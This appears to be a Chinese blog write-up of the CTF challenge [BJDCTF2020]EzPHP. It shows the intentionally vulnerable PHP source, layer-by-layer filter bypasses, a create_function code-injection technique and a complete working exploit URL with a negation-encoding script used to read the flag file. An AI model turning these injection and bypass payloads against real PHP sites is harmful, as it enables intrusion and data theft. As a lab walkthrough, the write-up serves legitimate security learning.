前言

这题也来自Y1ng师傅的babycode,刚刚做完babycode,顺便刷一刷这题

源码

查看源代码 HEX解码 1nD3x.php

<?php
highlight_file(__FILE__);
error_reporting(0); $file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  die('You seem to want to do something bad?');
}if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";}
} else die('fxck you! What do you want to do ?!');if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!'); }
} if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else { include "flag.php";$code('', $arg);
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
fxck you! I hate English!

思路

先提一个小坑,$_REQUEST = $_POST+$_GET+$_COOKIE,如果进入页面显示fxck you! I hate English!,删掉cookie就好了.

代码有点多,我们一层一层拆开来看

第一层过滤

if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  die('You seem to want to do something bad?');
}

$_SERVER['QUERY_STRING']的值为请求的参数

参考 http://www.360doc.com/content/18/0203/09/52553745_727370869.shtml

但发现第一层把shana和passwd过滤掉了,试试url编码,成功绕过
?%73%68%61%6e%61=a&%70%61%73%73%77%64=a

第三层过滤

if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!'); }
}

$_REQUEST可以接收GET和POST请求

经过本地测试

<?php
$cmd = $_GET['cmd'];print_r($_REQUEST);
if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!'); }
}
eval($cmd);
?>

同时传入get和post就能绕过过滤,在$_REQUEST中post优先度更高

post提交 shana=1&passwd=1,绕过第三层

第四层和第二层过滤

这时候 Am not I universe wudi zuishuai? 的提示,$file应该在第二层传入

//第二层
if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";}
} else die('fxck you! What do you want to do ?!');
//第四层
if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

先解决第四层的
file_get_contents是读取文件内容,这里可以用data伪协议

data://text/plain,debu_debu_aqua

由于debu_debu_aqua中有被第一层过滤,用url编码

%66%69%6c%65=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61

同时post提交file=1

第二层的aqua_is_cute有个正则匹配/^aqua_is_cutei$/从aqua_is_cute开始,以aqua_is_cute结尾,可以在结尾加上%0a绕过

debu=aqua_is_cute%0a
url编码
%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a
POST:
debu=1

成功进入第五层

GET:
1nD3x.php?%73%68%61%6e%61=aaa&%70%61%73%73%77%64=aaa&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61

POST:
shana=1&passwd=1&debu=1&file=1

第五层

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

===是强类型,绕过sha1很简单,sha1无法处理数组,默认返回false也就是0

shana[]=&passwd[]=1
post中的shana=1和passwd也可以删掉了,preg_match不会处处理数组

1nD3x.php?%73%68%61%6e%61[]=&%70%61%73%73%77%64[]=1&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61

post
debu=1&file=1

第六层过滤

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else { include "flag.php";$code('', $arg);
} ?>

现在我们进入第六层了,但是我们并没有$code和$arg的值,应该用extract($_GET["flag"])
extract可以给变量$code和$arg赋值

看到$code('', $arg);,可以想到用create_function () 代码注入

$code = “return($a+$b);}eval($_POST[‘kradress’]);//”
$f=create_function('$a, $b', $code);
相当于得到：
function f($a, $b){return $a+$b; } eval($_POST['kradress']);//}

限制了$arg不能直接查看flag,除了过滤的system还有exec等尽管没被过滤却在php.ini被disabled的,不够可以用get_defined_vars()

preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) )

$flag[code]=create_function,$flag[arg]=} var_dump(get_defined_vars())//;

提示flag在rea1fl4g.php

题解

解法一

用 require包含rea1flag.php,记得把rea1flag.php base64加密,可以绕过过滤. 再用get_defined_vars()输出,但是不知道为什么不行

解法二

把php://filter/read=convert.base64-encode/resource=rea1fl4g.php 取反用require包含,可以不加()

require~%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f

取反脚本

<?php
$a = $_GET['a'];
echo "~(";
for ($i = 0; $i < strlen($a); $i++) {echo "%".bin2hex(~$a[$i]);
}
echo ")";

完整payload

http://b046d527-263e-47ba-a939-3f94f23e6dc0.node4.buuoj.cn:81/1nD3x.php?%73%68%61%6e%61[]=&%70%61%73%73%77%64[]=1&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%66%6c%61%67%5b%63%6f%64%65%5d=create_function&%66%6c%61%67%5b%61%72%67%5d=} require~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f); //

post:debu=1&file=1

base64解码拿到flag

总结

差不多重温了一遍

[BJDCTF2020]EzPHP 1相关推荐

BJDctf2020 Ezphp
BJDctf2020 Ezphp 目录 BJDctf2020 Ezphp 2.preg_match绕过 3.$_REQUEST绕过 4.file_get_contents绕过 5.sha1函数.比较类 ...
[BJDCTF2020]EzPHP
说明这里就有flag有关的东西 base32解密 1nD3x.php <?php highlight_file(__FILE__); error_reporting(0); $file = &q ...
2021-8-23 [BJDCTF2020]EzPHP 知识点：php超全局变量，create_function，各种php的bypass
首先,本文借鉴的大老婆博客如下: 出题大佬博客,详细讲解了各种知识点一位大佬的详细解题过程(偷懒,自己就不写了) 就简单写写(赋值粘贴)一些比较重要的知识点(× create_function函数: ...
[BUU刷题记录]day01-起步
BUU-WEB 这是一个菜鸡的蜕变先小记录一下题目环境部署必备的docker安装 sudo apt-get remove docker docker-engine docker.io contain ...
Buuctf -web wp汇总(三)
Buuctf -web wp汇总(一):链接 Buuctf -web wp汇总(二):链接 Buuctf -web wp汇总(三):链接文章目录 [WUSTCTF2020]朴实无华 [WUSTCTF ...
BUUCTF笔记之Web系列部分WriteUp（五）
1.[GWCTF 2019]枯燥的抽奖查看源码得到check.php,访问得到代码: <?php #这不是抽奖程序的源代码!不许看! header("Content-Type: te ...
cl.ez6.xyz index.php,[BJDCTF2020]EzPHP-POP链
那次某信内部比赛中有道pop链问题的题目,我当时没有做出来,所以在此总结一下,本次以buu上复现的[MRCTF2020]Ezpop为例. 题目 1 Welcome to index.php 2 < ...
BUUCTF-[BJDCTF2020]EzPHP
一道挺不错的绕正则表达式的题. 打开环境点一点发现啥也没有,日常看源码.Ctrl+U发现了一个加密,本以为是base64,但是解码失败,试了试base32成功了这里推荐一个网站CTF在线工具-CT ...
[BJDCTF2020]Mark loves cat
首先打开网站看到的是一个个人博客,这种常规的类似实战题目先扫描目录看看路径扫描没错这真的是我的字典,就7个路径,哈哈哈,还在收集啊 git泄露看到了一个 .git 泄露用了俩工具测试,无任 ...

[BJDCTF2020]EzPHP 1

目录

前言

源码

思路

第一层过滤

第三层过滤

第四层和第二层过滤

第五层

第六层过滤

题解

解法一

解法二

总结

[BJDCTF2020]EzPHP 1相关推荐

最新文章

热门文章